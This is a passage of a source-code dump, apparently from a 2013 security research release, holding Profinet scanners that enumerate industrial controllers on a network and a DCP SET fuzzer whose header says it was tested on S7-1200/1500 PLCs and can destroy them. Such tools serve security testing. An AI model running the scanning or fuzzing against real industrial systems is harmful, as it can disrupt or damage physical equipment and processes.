16 | __maintainer__ = "Aleksandr Timorin" 17 | __email__ = "atimorin@gmail.com" 18 | __status__ = "Development" 19 | 20 | 21 | import sys 22 | import time 23 | import threading 24 | import string 25 | import socket 26 | import fcntl 27 | import struct 28 | import uuid 29 | import optparse 30 | from binascii import hexlify, unhexlify 31 | 32 | def is_printable(data): 33 | printset = set(string.printable) 34 | return set(data).issubset(printset) 35 | 36 | def get_src_mac_by_interface(ifname): 37 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 38 | info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15])) 39 | return info[18:24] 40 | #return ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1] 41 | 42 | def parse_load(data, src): 43 | type_of_station = None 44 | name_of_station = None 45 | vendor_id = None 46 | device_id = None 47 | device_role = None 48 | ip_address = None 49 | subnet_mask = None 50 | standard_gateway = None 51 | try: 52 | #data = hexlify(data) 53 | PROFINET_DCPDataLength = int(data[20:24], 16) 54 | start_of_Block_Device_Options = 24 55 | Block_Device_Options_DCPBlockLength = int(data[start_of_Block_Device_Options + 2*2:start_of_Block_Device_Options + 4*2], 16) 56 | 57 | start_of_Block_Device_Specific = start_of_Block_Device_Options + Block_Device_Options_DCPBlockLength*2 + 4*2 58 | Block_Device_Specific_DCPBlockLength = int(data[start_of_Block_Device_Specific+2*2:start_of_Block_Device_Specific+4*2], 16) 59 | 60 | padding = Block_Device_Specific_DCPBlockLength%2 61 | 62 | start_of_Block_NameOfStation = start_of_Block_Device_Specific + Block_Device_Specific_DCPBlockLength*2 + (4+padding)*2 63 | Block_NameOfStation_DCPBlockLength = int(data[start_of_Block_NameOfStation+2*2:start_of_Block_NameOfStation+4*2], 16) 64 | 65 | padding = Block_NameOfStation_DCPBlockLength%2 66 | 67 | start_of_Block_Device_ID = start_of_Block_NameOfStation + Block_NameOfStation_DCPBlockLength*2 + (4+padding)*2 68 | Block_DeviceID_DCPBlockLength = int(data[start_of_Block_Device_ID+2*2:start_of_Block_Device_ID+4*2], 16) 69 | __tmp = data[start_of_Block_Device_ID+4*2:start_of_Block_Device_ID+4*2+Block_DeviceID_DCPBlockLength*2][4:] 70 | vendor_id, device_id = __tmp[:4], __tmp[4:] 71 | 72 | padding = Block_DeviceID_DCPBlockLength%2 73 | 74 | start_of_Block_DeviceRole = start_of_Block_Device_ID + Block_DeviceID_DCPBlockLength*2 + (4+padding)*2 75 | Block_DeviceRole_DCPBlockLength = int(data[start_of_Block_DeviceRole+2*2:start_of_Block_DeviceRole+4*2], 16) 76 | device_role = data[start_of_Block_DeviceRole+4*2:start_of_Block_DeviceRole+4*2+Block_DeviceRole_DCPBlockLength*2][4:6] 77 | 78 | padding = Block_DeviceRole_DCPBlockLength%2 79 | 80 | start_of_Block_IPset = start_of_Block_DeviceRole + Block_DeviceRole_DCPBlockLength*2 + (4+padding)*2 81 | Block_IPset_DCPBlockLength = int(data[start_of_Block_IPset+2*2:start_of_Block_IPset+4*2], 16) 82 | __tmp = data[start_of_Block_IPset+4*2:start_of_Block_IPset+4*2+Block_IPset_DCPBlockLength*2][4:] 83 | ip_address_hex, subnet_mask_hex, standard_gateway_hex = __tmp[:8], __tmp[8:16], __tmp[16:] 84 | ip_address = socket.inet_ntoa(struct.pack(">L", int(ip_address_hex, 16))) 85 | subnet_mask = socket.inet_ntoa(struct.pack(">L", int(subnet_mask_hex, 16))) 86 | standard_gateway = socket.inet_ntoa(struct.pack(">L", int(standard_gateway_hex, 16))) 87 | 88 | tos = data[start_of_Block_Device_Specific+4*2 : start_of_Block_Device_Specific+4*2+Block_Device_Specific_DCPBlockLength*2][4:] 89 | nos = data[start_of_Block_NameOfStation+4*2 : start_of_Block_NameOfStation+4*2+Block_NameOfStation_DCPBlockLength*2][4:] 90 | type_of_station = unhexlify(tos) 91 | name_of_station = unhexlify(nos) 92 | if not is_printable(type_of_station): 93 | type_of_station = 'not printable' 94 | if not is_printable(name_of_station): 95 | name_of_station = 'not printable' 96 | except: 97 | print "%s: %s" % (src, str(sys.exc_info())) 98 | return type_of_station, name_of_station, vendor_id, device_id, device_role, ip_address, subnet_mask, standard_gateway 99 | 100 | 101 | if __name__ == '__main__': 102 | 103 | print """ 104 | Profinet discovery tool. Send multicast ethernet packet and receive all answers. 105 | Extract useful info about devices: PLC, HMI Workstations. 106 | No scapy required. 107 | Power of Community 2013 conference release. 108 | """ 109 | 110 | 111 | parser = optparse.OptionParser() 112 | parser.add_option('-i', dest="src_iface", default="", help="source network interface") 113 | options, args = parser.parse_args() 114 | parser.print_help() 115 | raw_input("press key to continue...") 116 | src_iface = options.src_iface or 'eth0' 117 | src_mac = get_src_mac_by_interface(src_iface) 118 | 119 | profinet_dcp_ethernet_frame = { 120 | 'dst_mac' : '\x01\x0e\xcf\x00\x00\x00', 121 | 'src_mac' : src_mac, 122 | 'proto' : '\x88\x92', 123 | 'payload' : '\xfe\xfe\x05\x00\x04\x01\x00\x02\x00\x80\x00\x04\xff\xff' + '\x00'*26, 124 | } 125 | 126 | 127 | pdef = profinet_dcp_ethernet_frame 128 | 129 | eth_sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, 0x8892) 130 | # set socket recieve timeout 2 seconds 131 | eth_sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVTIMEO, struct.pack('ii', int(2), 0)) 132 | 133 | eth_sock.bind(('eth0', 0x8892)) 134 | data = pdef['dst_mac'] + pdef['src_mac'] + pdef['proto'] + pdef['payload'] 135 | eth_sock.send(data) 136 | 137 | recieved_packets = [] 138 | 139 | while True: 140 | try: 141 | buf = eth_sock.recv(1024) 142 | print 'recieved: %r' % buf 143 | if buf: 144 | recieved_packets.append(buf) 145 | else: 146 | break 147 | except: 148 | break 149 | 150 | # parse and print result 151 | result = {} 152 | for p in recieved_packets: 153 | p = p.encode('hex') 154 | print p 155 | source_mac = p[12:24] 156 | packet_type = p[24:28] 157 | pn_type = p[28:32] 158 | packet_load = p[28:] 159 | #print source_mac, packet_type, packet_load 160 | if packet_type == '8892' and pn_type == 'feff': 161 | type_of_station, name_of_station, vendor_id, device_id, device_role, ip_address, subnet_mask, standard_gateway = parse_load(packet_load, source_mac) 162 | result[source_mac] = {'load': packet_load} 163 | result[source_mac]['type_of_station'] = type_of_station 164 | result[source_mac]['name_of_station'] = name_of_station 165 | result[source_mac]['vendor_id'] = vendor_id 166 | result[source_mac]['device_id'] = device_id 167 | result[source_mac]['device_role'] = device_role 168 | result[source_mac]['ip_address'] = ip_address 169 | result[source_mac]['subnet_mask'] = subnet_mask 170 | result[source_mac]['standard_gateway'] = standard_gateway 171 | 172 | 173 | print "found %d devices" % len(result) 174 | print "{0:17} : {1:15} : {2:15} : {3:9} : {4:9} : {5:11} : {6:15} : {7:15} : {8:15}".format('mac address', 'type of station', 175 | 'name of station', 'vendor id', 176 | 'device id', 'device role', 'ip address', 177 | 'subnet mask', 'standard gateway') 178 | for (mac, profinet_info) in result.items(): 179 | p = result[mac] 180 | print "{0:17} : {1:15} : {2:15} : {3:9} : {4:9} : {5:11} : {6:15} : {7:15} : {8:15}".format(mac, 181 | p['type_of_station'], 182 | p['name_of_station'], 183 | p['vendor_id'], 184 | p['device_id'], 185 | p['device_role'], 186 | p['ip_address'], 187 | p['subnet_mask'], 188 | p['standard_gateway'], 189 | ) -------------------------------------------------------------------------------- /profinet/profinet_scanner.scapy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | File: profinet_scanner.scapy.py 5 | Desc: Profinet discovery tool. Send multicast ethernet packet and receive all answers. 6 | Extract useful info about devices: PLC, HMI, Workstations. 7 | Power of Community 2013 conference release. 8 | 9 | Scapy required. Works on *nix and win* systems. 10 | """ 11 | 12 | __author__ = "Aleksandr Timorin" 13 | __copyright__ = "Copyright 2013, Positive Technologies" 14 | __license__ = "GNU GPL v3" 15 | __version__ = "0.1" 16 | __maintainer__ = "Aleksandr Timorin" 17 | __email__ = "atimorin@gmail.com" 18 | __status__ = "Development" 19 | 20 | 21 | import sys 22 | import time 23 | import threading 24 | import string 25 | import socket 26 | import struct 27 | import uuid 28 | import optparse 29 | from binascii import hexlify, unhexlify 30 | from scapy.all import conf, sniff, srp, Ether 31 | 32 | cfg_dst_mac = '01:0e:cf:00:00:00' # Siemens family 33 | cfg_sniff_time = 2 # seconds 34 | 35 | sniffed_packets = None 36 | 37 | def get_src_iface(): 38 | return conf.iface 39 | 40 | def get_src_mac(): 41 | return ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) 42 | 43 | def sniff_packets(src_iface): 44 | global sniffed_packets 45 | sniffed_packets = sniff(iface=src_iface, filter='ether proto 0x8892', timeout=cfg_sniff_time) 46 | 47 | def is_printable(data): 48 | printset = set(string.printable) 49 | return set(data).issubset(printset) 50 | 51 | def parse_load(data, src): 52 | type_of_station = None 53 | name_of_station = None 54 | vendor_id = None 55 | device_id = None 56 | device_role = None 57 | ip_address = None 58 | subnet_mask = None 59 | standard_gateway = None 60 | try: 61 | data = hexlify(data) 62 | PROFINET_DCPDataLength = int(data[20:24], 16) 63 | start_of_Block_Device_Options = 24 64 | Block_Device_Options_DCPBlockLength = int(data[start_of_Block_Device_Options + 2*2:start_of_Block_Device_Options + 4*2], 16) 65 | 66 | start_of_Block_Device_Specific = start_of_Block_Device_Options + Block_Device_Options_DCPBlockLength*2 + 4*2 67 | Block_Device_Specific_DCPBlockLength = int(data[start_of_Block_Device_Specific+2*2:start_of_Block_Device_Specific+4*2], 16) 68 | 69 | padding = Block_Device_Specific_DCPBlockLength%2 70 | 71 | start_of_Block_NameOfStation = start_of_Block_Device_Specific + Block_Device_Specific_DCPBlockLength*2 + (4+padding)*2 72 | Block_NameOfStation_DCPBlockLength = int(data[start_of_Block_NameOfStation+2*2:start_of_Block_NameOfStation+4*2], 16) 73 | 74 | padding = Block_NameOfStation_DCPBlockLength%2 75 | 76 | start_of_Block_Device_ID = start_of_Block_NameOfStation + Block_NameOfStation_DCPBlockLength*2 + (4+padding)*2 77 | Block_DeviceID_DCPBlockLength = int(data[start_of_Block_Device_ID+2*2:start_of_Block_Device_ID+4*2], 16) 78 | __tmp = data[start_of_Block_Device_ID+4*2:start_of_Block_Device_ID+4*2+Block_DeviceID_DCPBlockLength*2][4:] 79 | vendor_id, device_id = __tmp[:4], __tmp[4:] 80 | 81 | padding = Block_DeviceID_DCPBlockLength%2 82 | 83 | start_of_Block_DeviceRole = start_of_Block_Device_ID + Block_DeviceID_DCPBlockLength*2 + (4+padding)*2 84 | Block_DeviceRole_DCPBlockLength = int(data[start_of_Block_DeviceRole+2*2:start_of_Block_DeviceRole+4*2], 16) 85 | device_role = data[start_of_Block_DeviceRole+4*2:start_of_Block_DeviceRole+4*2+Block_DeviceRole_DCPBlockLength*2][4:6] 86 | 87 | padding = Block_DeviceRole_DCPBlockLength%2 88 | 89 | start_of_Block_IPset = start_of_Block_DeviceRole + Block_DeviceRole_DCPBlockLength*2 + (4+padding)*2 90 | Block_IPset_DCPBlockLength = int(data[start_of_Block_IPset+2*2:start_of_Block_IPset+4*2], 16) 91 | __tmp = data[start_of_Block_IPset+4*2:start_of_Block_IPset+4*2+Block_IPset_DCPBlockLength*2][4:] 92 | ip_address_hex, subnet_mask_hex, standard_gateway_hex = __tmp[:8], __tmp[8:16], __tmp[16:] 93 | ip_address = socket.inet_ntoa(struct.pack(">L", int(ip_address_hex, 16))) 94 | subnet_mask = socket.inet_ntoa(struct.pack(">L", int(subnet_mask_hex, 16))) 95 | standard_gateway = socket.inet_ntoa(struct.pack(">L", int(standard_gateway_hex, 16))) 96 | 97 | tos = data[start_of_Block_Device_Specific+4*2 : start_of_Block_Device_Specific+4*2+Block_Device_Specific_DCPBlockLength*2][4:] 98 | nos = data[start_of_Block_NameOfStation+4*2 : start_of_Block_NameOfStation+4*2+Block_NameOfStation_DCPBlockLength*2][4:] 99 | type_of_station = unhexlify(tos) 100 | name_of_station = unhexlify(nos) 101 | if not is_printable(type_of_station): 102 | type_of_station = 'not printable' 103 | if not is_printable(name_of_station): 104 | name_of_station = 'not printable' 105 | except: 106 | print "%s: %s" % (src, str(sys.exc_info())) 107 | return type_of_station, name_of_station, vendor_id, device_id, device_role, ip_address, subnet_mask, standard_gateway 108 | 109 | 110 | def create_packet_payload(): 111 | pass 112 | 113 | if __name__ == '__main__': 114 | 115 | print """ 116 | Profinet discovery tool. Send multicast ethernet packet and receive all answers. 117 | Extract useful info about devices: PLC, HMI Workstations. 118 | Scapy required. 119 | Power of Community 2013 conference release. 120 | """ 121 | 122 | 123 | src_mac = get_src_mac() 124 | parser = optparse.OptionParser() 125 | parser.add_option('-i', dest="src_iface", default="", help="source network interface") 126 | parser.print_help() 127 | raw_input("press key to continue...") 128 | options, args = parser.parse_args() 129 | 130 | src_iface = options.src_iface or get_src_iface() 131 | 132 | # run sniffer 133 | t = threading.Thread(target=sniff_packets, args=(src_iface,)) 134 | t.setDaemon(True) 135 | t.start() 136 | 137 | # create and send broadcast profinet packet 138 | payload = 'fefe 05 00 04010002 0080 0004 ffff ' 139 | payload = payload.replace(' ', '') 140 | 141 | pp = Ether(type=0x8892, src=src_mac, dst=cfg_dst_mac)/payload.decode('hex') 142 | ans, unans = srp(pp) 143 | 144 | # wait sniffer... 145 | t.join() 146 | 147 | # parse and print result 148 | result = {} 149 | for p in sniffed_packets: 150 | if hex(p.type) == '0x8892' and p.src != src_mac: 151 | result[p.src] = {'load': p.load} 152 | type_of_station, name_of_station, vendor_id, device_id, device_role, ip_address, subnet_mask, standard_gateway = parse_load(p.load, p.src) 153 | result[p.src]['type_of_station'] = type_of_station 154 | result[p.src]['name_of_station'] = name_of_station 155 | result[p.src]['vendor_id'] = vendor_id 156 | result[p.src]['device_id'] = device_id 157 | result[p.src]['device_role'] = device_role 158 | result[p.src]['ip_address'] = ip_address 159 | result[p.src]['subnet_mask'] = subnet_mask 160 | result[p.src]['standard_gateway'] = standard_gateway 161 | 162 | print "found %d devices" % len(result) 163 | print "{0:17} : {1:15} : {2:15} : {3:9} : {4:9} : {5:11} : {6:15} : {7:15} : {8:15}".format('mac address', 'type of station', 164 | 'name of station', 'vendor id', 165 | 'device id', 'device role', 'ip address', 166 | 'subnet mask', 'standard gateway') 167 | for (mac, profinet_info) in result.items(): 168 | p = result[mac] 169 | print "{0:17} : {1:15} : {2:15} : {3:9} : {4:9} : {5:11} : {6:15} : {7:15} : {8:15}".format(mac, 170 | p['type_of_station'], 171 | p['name_of_station'], 172 | p['vendor_id'], 173 | p['device_id'], 174 | p['device_role'], 175 | p['ip_address'], 176 | p['subnet_mask'], 177 | p['standard_gateway'], 178 | ) 179 | 180 | 181 | -------------------------------------------------------------------------------- /profinet/profinet_set_fuzzer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | File: profinet_set_fuzzer.py 5 | Desc: Profinet SET request fuzzer. Tested on S7-1200/1500 PLC. 6 | Send Profinet DCP SET request with preconfigured count of packets and preconfigured options/suboptions. 7 | ALARM! Do not test on real devices! Can destroy them. 8 | Power of Community 2013 conference release. 9 | 10 | Scapy required. Works on *nix and win* systems. 11 | """ 12 | 13 | __author__ = "Aleksandr Timorin" 14 | __copyright__ = "Copyright 2013, Positive Technologies" 15 | __license__ = "GNU GPL v3" 16 | __version__ = "1.3" 17 | __maintainer__ = "Aleksandr Timorin" 18 | __email__ = "atimorin@gmail.com" 19 | __status__ = "Development" 20 | 21 | import sys 22 | import random 23 | import time 24 | import threading 25 | import string 26 | import socket 27 | import struct 28 | import uuid 29 | import optparse 30 | 31 | from scapy.all import conf, sniff, srp, Ether 32 | from binascii import hexlify, unhexlify 33 | 34 | cfg_sniff_time = 3 # seconds 35 | 36 | sniffed_packets = None 37 | 38 | dcp_answers = { 39 | 0x00 : 'OK', 40 | 0x01 : 'Options unsupported', 41 | 0x02 : 'Suboption unsupported or no dataset available', 42 | 0x03 : 'Suboption not set', 43 | 0x04 : 'Resource error', 44 | 0x05 : 'SET not possible by local reasons', 45 | 0x06 : 'In operation, SET not possible', 46 | } 47 | 48 | 49 | def get_src_iface(): 50 | return conf.iface 51 | 52 | def get_src_mac(): 53 | return ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) 54 | 55 | 56 | def sniff_packets(src_iface): 57 | global sniffed_packets 58 | sniffed_packets = None 59 | sniffed_packets = sniff(iface=src_iface, filter='ether proto 0x8892', timeout=cfg_sniff_time) 60 | return sniffed_packets 61 | 62 | def generate_random_hex_bytes(bytes): 63 | return random.getrandbits(bytes*8) 64 | 65 | def generate_random_hex_bytes_as_str(bytes, check=''): 66 | if not check: 67 | data = ''.join([ '%02x' % random.randint(1,255) for i in range(1, bytes+1)]) 68 | return data 69 | else: 70 | return bytes*check 71 | 72 | class DCPSetPacket: 73 | 74 | def __init__(self, option, suboption, block_len=0, min_block_len=1, max_block_len=1024, check=''): 75 | if block_len: 76 | self.block_len = block_len 77 | else: 78 | self.block_len = random.randint(min_block_len, max_block_len) 79 | self.check = check 80 | self.packet_format = None 81 | self.dcp_frame_id = 0xfefd # profinet acyclic realtime id, short 82 | self.dcp_service_id = 0x04 # get/set service id, byte 83 | self.dcp_service_type = 0x00 # request, byte 84 | self.dcp_xid = generate_random_hex_bytes(4) # xid value needed for chain responses, int 85 | self.dcp_reserved = 0x0000 # reserved, short 86 | self.dcp_data_length = None # data length, short 87 | self.dcp_block_option = option # set option , byte 88 | self.dcp_block_suboption = suboption # must be random value from () , byte 89 | self.dcp_block_length = None # short 90 | self.dcp_block_qualifier = random.choice((0x0000, 0x0001)) # short 91 | #self.dcp_block_qualifier = random.choice((0x0000, )) 92 | self.dcp_block_data = self.generate_block_data() 93 | self.dcp_padding = self.block_len%2 # 0 - padding not need, 1 - need, byte 94 | # padding = 1 ^ len(name_of_station)%2 95 | self.payload = None 96 | 97 | def generate_block_data(self): 98 | return generate_random_hex_bytes_as_str(self.block_len, self.check) 99 | 100 | def create_packet_format(self): 101 | self.packet_format = struct.Struct('> H B B I H H B B H H') 102 | 103 | def prepare_packet(self): 104 | self.create_packet_format() 105 | self.dcp_block_length = 2 + self.block_len 106 | self.dcp_data_length = 1 + 1+ 2 + self.dcp_block_length 107 | pack_args = [ self.dcp_frame_id, 108 | self.dcp_service_id, 109 | self.dcp_service_type, 110 | self.dcp_xid, 111 | self.dcp_reserved, 112 | self.dcp_data_length, 113 | self.dcp_block_option, 114 | self.dcp_block_suboption, 115 | self.dcp_block_length, 116 | self.dcp_block_qualifier, 117 | ] 118 | self.payload = self.packet_format.pack(*pack_args).encode('hex') 119 | 120 | def get_full_hex_payload(self): 121 | full_hex_payload = self.payload + self.dcp_block_data 122 | if self.dcp_padding: 123 | full_hex_payload += '00' 124 | return full_hex_payload 125 | 126 | if __name__ == '__main__': 127 | print """ 128 | Profinet SET request fuzzer. Tested on S7-1200/1500 PLC. 129 | Send Profinet DCP SET request with preconfigured count of packets and preconfigured options/suboptions. 130 | ALARM! Do not test on real devices! Can destroy them. 131 | Power of Community 2013 conference release. 132 | 133 | Scapy required. Works on *nix and win* systems. 134 | """ 135 | src_mac = get_src_mac() 136 | parser = optparse.OptionParser() 137 | parser.add_option('-d', '--dest-mac', dest="dst_mac", default="00:1c:06:0a:a7:a4", help="destination MAC address") 138 | 139 | parser.print_help() 140 | raw_input("press key to continue...") 141 | 142 | options, args = parser.parse_args() 143 | 144 | dst_mac = options.dst_mac 145 | 146 | options_data = { 147 | 148 | 0x01 : ( 0x01, 0x02 ), # ip 149 | 0x02 : ( 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07 ), # device 150 | 0x03 : ( 12, 43, 54, 55, 60, 61, 81, 97, 255, 0 ), # dhcp 151 | 0x04 : ( 0x01, 0x02, 0x03 ), # reserved 152 | 0x05 : ( 0x01, 0x02, 0x03, 0x04, 0x05 ), # control 153 | 0x06 : ( 0x00, 0x01 ), # device initiative 154 | 0x80 : ( 0x02, ), # manuf 155 | 0x81 : ( 0x02, ), # manuf 156 | 0x82 : ( 0x02, ), # manuf 157 | 0x83 : ( 0x02, ), # manuf 158 | 0x84 : ( 0x02, ), # manuf 159 | 0x85 : ( 0x02, ), # manuf 160 | 0x86 : ( 0x02, ), # manuf 161 | 0xff : ( 0x00, 0x01, 0x02, 0xff ), # all selector 162 | } 163 | 164 | packets_per_suboption = 1000 165 | 166 | 167 | for option in options_data.keys(): 168 | fh_log = open('profinet_set_fuzzer.log_%02x' % option, 'w', 0) 169 | fh_err = open('profinet_set_fuzzer.err_%02x' % option, 'w', 0) 170 | for suboption in options_data[option]: 171 | packet_with_00 = 0 172 | packet_with_ff = 0 173 | for pck_num in range(1, packets_per_suboption+1): 174 | info_text = "option: %02x, suboption: %02x, pck_num: %d" % (option, suboption, pck_num) 175 | fh_log.write("%s\n" % info_text) 176 | p = None 177 | try: 178 | block_len = 0 # 0 - random len 179 | if packet_with_00 and not p: 180 | packet_with_00 = 0 181 | p = DCPSetPacket(option, suboption, block_len=block_len, check='00') 182 | elif packet_with_ff and not p: 183 | packet_with_ff = 0 184 | p = DCPSetPacket(option, suboption, block_len=block_len, check='ff') 185 | else: 186 | p = DCPSetPacket(option, suboption, block_len=block_len) 187 | p.prepare_packet() 188 | 189 | payload = p.get_full_hex_payload() 190 | fh_log.write("request : %s\n" % payload) 191 | pp = Ether(type=0x8892, src=src_mac, dst=dst_mac)/payload.decode('hex') 192 | ans, unans = srp(pp, timeout=cfg_sniff_time) 193 | response = 'NO RESPONSE' 194 | answer_code = -1 195 | if ans: 196 | response = hexlify(ans[0][1].load) 197 | answer_code = int(response[36:38]) 198 | else: 199 | fh_err.write("%s\nresponse: %s\n" % (info_text, str(ans))) 200 | fh_log.write("response: %s\n" % response) 201 | if answer_code != -1: 202 | answer_text = dcp_answers.has_key(answer_code) and dcp_answers[answer_code] or 'answer unknown' 203 | fh_log.write("answer code: %02x, text: %s\n" % (answer_code, answer_text)) 204 | except: 205 | fh_log.write("error: %s\n" % str(sys.exc_info())) 206 | fh_log.write('\n') 207 | fh_log.close() 208 | fh_err.close() --------------------------------------------------------------------------------